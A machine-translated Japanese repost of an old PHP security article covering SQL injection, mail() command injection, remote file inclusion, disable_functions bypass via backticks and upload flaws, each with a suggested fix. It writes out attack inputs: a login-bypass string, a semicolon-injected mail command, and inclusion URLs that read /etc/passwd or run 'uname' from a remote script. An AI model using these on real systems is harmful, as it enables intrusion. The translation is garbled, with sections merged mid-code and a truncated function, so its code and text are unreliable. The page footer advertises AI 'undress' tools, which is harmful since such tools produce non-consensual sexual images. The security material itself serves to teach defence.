検索
ホームページphp教程php手册PHPセキュリティドッグテール 続ミンク(譲渡)

安全性

原文: san (Xiao Xu)
出典: http://www.xfocus.org

Scarlet の研究 - PHP アプリケーションの一般的な脆弱性の悪用
之狗头続Mintle

by san@netguard.com.cn

Shaun Clowes 「PHP アプリケーションの一般的な脆弱性の悪用」という記事は、実際に非常によく書かれており、多くの側面を考慮しています。この記事は記事の続きであり、あまり言及されていないいくつかの問題を追加しています。この記事は、
攻撃ではなく、問題解決に焦点を当てています。

1. 古代の欺瞞的な SQL ステートメント
デフォルトモードでは、php.ini を /usr/local/lib/php.ini にコピーするのを忘れたとしても、php は依然として magic_quotes_gpc=on をオンにします。
このようにして、GET/POST/Cookie からの変数のすべての一重引用符 (')、二重引用符 (")、バックスラッシュ () およびヌル文字 NUL
(ヌル バイト) にバックスラッシュが追加されます。
ただし、php-4-RC2 が設定ファイル php.ini-optimized を導入すると、この最適化された php.ini が
magic_quotes_gpc=off になる場合があります。
/usr/local/lib/php.ini にコピーします。これは、現時点ではより危険です。必要な文字がフィルタされていないと仮定すると、次のようになります。
select * from login where user=' $HTTP_POST_VARS[user] ' and pass='$HTTP_POST_VARS[pass]'
ユーザー ボックスとパスワード ボックスに 1' または 1='1 を入力すると、検証に合格できます。これは非常に古い方法で、このステートメントは
次のように置き換えられます。
select * from login where user='1' or 1='1' and pass='1' or 1='1'
or 1='1' が true なので、解決するのが最善の方法です。不要な文字をすべて除外する GET/POST/Cookie から取得され、SQL で使用される変数にカスタム関数を追加することもお勧めします。
function gpc2sql($str) {
if( get_magic_quotes_gpc()==1) PHP-4.0.5のパラメーターは、5番目のパラメーターを導入しました。コマンドの実行に関する問題:
mail("nobody@aol.com", "the subject", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAME");
これには問題があります。$SERVER_NAME=;mail san@xfocus.org ここで注意してください。PHP マニュアルにはセキュリティ上の問題のある例がいくつかありますが、実際に使用する場合は、その関数の基本的な機能を説明しているだけなので、それを理解してください。
メール関数のこの問題に対して、最も簡単な方法は、第 5 引数を使用しないことです。使用したい場合は、(;) などの不正な文字をフィルターし、メール関数のプログラム ext/standard/mail.c を変更するだけです。
php ソース コード パッケージ。 if (extra_cmd != NULL) { の前に次の行を追加します。
extra_cmd=NULL
その後、再コンパイルします。

3. UNIX バージョンの require 関数と include 関数
win バージョンの require 関数と include 関数は HTTP および FTP リモート ファイルのインクルードをサポートしませんが、UNIX バージョンはデフォルトでリモート インクルード ファイルをサポートします。
require と include は、どのような拡張子を持っていても、含まれている場合はプログラムの一部として実行されます。
プログラムを作成するとき、プログラムのモジュール化と移植性を高めるために、必然的に多くの require 関数や include 関数を使用します。
また、次のような変数がパラメーターとして使用されることもあります。現時点では、ユーザーは $something パラメータを制御できますが、この
パラメータはフィルタリングされていません。これは悲惨なことです。
まず、Web ユーザーが読み取り権限を持つファイルを表示できます。プログラムの名前が http://victim/test.php であるとすると、次の
URL: http://victim/test.php を使用できます。 ?something=/etc /passwd /etc/passwd ファイルを参照してください。
さらに、リモート ファイルに含まれる関数を使用してコマンドを実行することもできます。たとえば、www.xfocus.org の下にファイル test.php を作成し、その内容が
である場合、次の URL を使用できます:
http://victim/ test.php?something=http://www.xfocus.org/test.php?cmd=uname これにより、任意のコマンドを実行できます。
この問題は phpMyAdmin でも発生します。phpMyAdmin を使用して、見たいファイルを表示できます。ただし、 include する前に、まず file_exist
関数を使用してファイルが存在するかどうかを判断します。この file_exist はリモート ファイルをサポートしていないため、上記の 2 番目の方法を直接使用することはできません。ただし、Apache のログ機能を使用して、PHP コードで URL をリクエストすることもできます。このように、Apache として指定されたもののログでもコマンドを実行できます。ただし、Apache のログは通常、比較的多くの情報を含んでいます。 。
http://www.securereality.com.au/sradv00008.txt で説明されている方法は、より賢明です。ファイル アップロードを使用して、ローカルの
コマンド実行スクリプトをアップロードします。これにより、サーバーの一時ファイル アップロード ディレクトリに php8Ta02I などが生成されます。この時点ではファイルが存在するため、file_exist関数によりアップロードされたファイル内の実行スクリプトを実行することができます。

そのため、include 関数と require 関数を使用するときは、特にインクルードされるファイルがパラメーターで指定されている場合、ユーザーがパラメーターを制御してはいけないことに注意する必要があります。 php.ini ファイルを変更して、リモート ファイルの組み込みを削除する機能もあります。これは php-4.0.3 より前では
disable-url-fopen-wrapper とともに使用されていました。それ以降のバージョンでは、allow_url_fopen = off を使用してオフにします。

4. disable_function
php-4.0.1 では、関数 disable_functions が php.ini に導入され、より便利で、いくつかの機能を無効にするために使用できます。
たとえば、disable_functions = passthru exec system Popen を php.ini に追加すると、これらの関数を実行するときに、
警告: system() はセキュリティ上の理由から無効になっています
ああ、しかし実行できないわけではありません。システムコマンド。たとえば、PHP は多くの Perl 機能を使用するため、(`) を使用してコマンドを実行することもできます。
$output = `ls -al`;
echo "

$output
";
?>
これは、safe_mode に設定することによってのみ回避できますが、忌まわしいsafe_mode は制限が厳しすぎるため、他のことを行うときに少し妨げられます。


5. ファイルのアップロード
php ファイルのアップロードの問題は、http://www.securereality.com.au/sradv00001.html の記事で明確に説明されています。
これは実際に深刻な問題です。アップロードされたファイルは Web ディレクトリにも配置されるため、攻撃者はシステムの一部の Web ユーザーが読み取れるファイルを簡単に入手できます。
ありがたいことに、is_uploaded_file 関数と move_uploaded_file 関数は php-4.0.3 以降で提供されています。したがって、php-4.0.3 以降でファイルをアップロードするプログラムはコピー機能を使用せず、代わりに move_uploaded_file を使用してください。アップロードされたファイルかどうかがチェックされます。 php-4.0.2
以下の場合は、コピー前に関数を追加することをお勧めします:
function is_uploaded_file($filename) {
if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {
$tmp_file = dirname (tempnam ('', ''));
$tmp_file.='/'.basename($filename);
/* ユーザーの php.ini の末尾にスラッシュがある可能性があります... */
return (ereg_replace( '/ +', '/', $tmp_file) == $filename);
}

この脆弱性は長い間セキュリティの焦点となっていましたが、コピーする前に多くの検証と判断ステートメントが存在します。かなりの攻撃力があり、印象的です。


また、環境変数、Cookie変数、セッション変数などは、偽造が容易なため、生死の判定条件としては絶対に使用しないでください。
はは、私は手元にたくさんのことを考えているので、他の同志も自由に追加および修正することを歓迎します。

参考資料
1. PHP 4 ChangeLog (http://www.php.net/ChangeLog-4.php)
2. Scarlet の研究 - PHP アプリケーションの一般的な脆弱性の悪用
(http://www.securereality . com.au/studyinscarlet.txt) と分析の翻訳。
3. phpMyAdmin および phpPgAdmin のリモート コマンド実行の脆弱性
(http://www.securereality.com.au/sradv00008.txt)






声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

MinGW - Minimalist GNU for Windows

MinGW - Minimalist GNU for Windows

このプロジェクトは osdn.net/projects/mingw に移行中です。引き続きそこでフォローしていただけます。 MinGW: GNU Compiler Collection (GCC) のネイティブ Windows ポートであり、ネイティブ Windows アプリケーションを構築するための自由に配布可能なインポート ライブラリとヘッダー ファイルであり、C99 機能をサポートする MSVC ランタイムの拡張機能が含まれています。すべての MinGW ソフトウェアは 64 ビット Windows プラットフォームで実行できます。

SublimeText3 Linux 新バージョン

SublimeText3 Linux 新バージョン

SublimeText3 Linux 最新バージョン

DVWA

DVWA

Damn Vulnerable Web App (DVWA) は、非常に脆弱な PHP/MySQL Web アプリケーションです。その主な目的は、セキュリティ専門家が法的環境でスキルとツールをテストするのに役立ち、Web 開発者が Web アプリケーションを保護するプロセスをより深く理解できるようにし、教師/生徒が教室環境で Web アプリケーションを教え/学習できるようにすることです。安全。 DVWA の目標は、シンプルでわかりやすいインターフェイスを通じて、さまざまな難易度で最も一般的な Web 脆弱性のいくつかを実践することです。このソフトウェアは、

AtomエディタMac版ダウンロード

AtomエディタMac版ダウンロード

最も人気のあるオープンソースエディター

Safe Exam Browser

Safe Exam Browser

Safe Exam Browser は、オンライン試験を安全に受験するための安全なブラウザ環境です。このソフトウェアは、あらゆるコンピュータを安全なワークステーションに変えます。あらゆるユーティリティへのアクセスを制御し、学生が無許可のリソースを使用するのを防ぎます。